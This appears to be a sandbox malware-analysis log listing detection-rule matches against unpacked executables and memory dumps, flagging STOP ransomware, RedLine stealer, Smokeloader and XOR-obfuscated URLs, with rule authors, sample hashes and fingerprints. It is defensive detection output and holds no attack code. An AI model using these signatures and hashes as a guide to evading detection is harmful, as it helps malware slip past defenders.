Source: 15.0.D7DE.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.0.D7DE.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.0.D7DE.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.0.D7DE.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.D7DE.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.2.D7DE.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.D7DE.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.0.D7DE.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.0.D7DE.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.0.D7DE.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.0.D7DE.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.D7DE.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 14.2.D7DE.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.D7DE.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.D7DE.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 14.2.D7DE.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.D7DE.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.0.D7DE.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.0.D7DE.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.0.D7DE.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 28.3.56E6.exe.36c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: 15.2.D7DE.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 15.2.D7DE.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.D7DE.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000017.00000002.553355323.0000000000918000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000017.00000002.553855101.00000000024D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000017.00000002.552885193.00000000008A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000017.00000002.553773465.00000000024B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000F.00000000.483176632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.393553411.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000E.00000002.499037539.00000000025BF000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000009.00000002.437131679.0000000000B38000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000000.383459492.0000000004641000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.437016536.00000000009C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000009.00000002.437057713.0000000000AF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.393488044.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.393656715.0000000000A51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.393850787.0000000000ADA000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000009.00000002.437004694.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
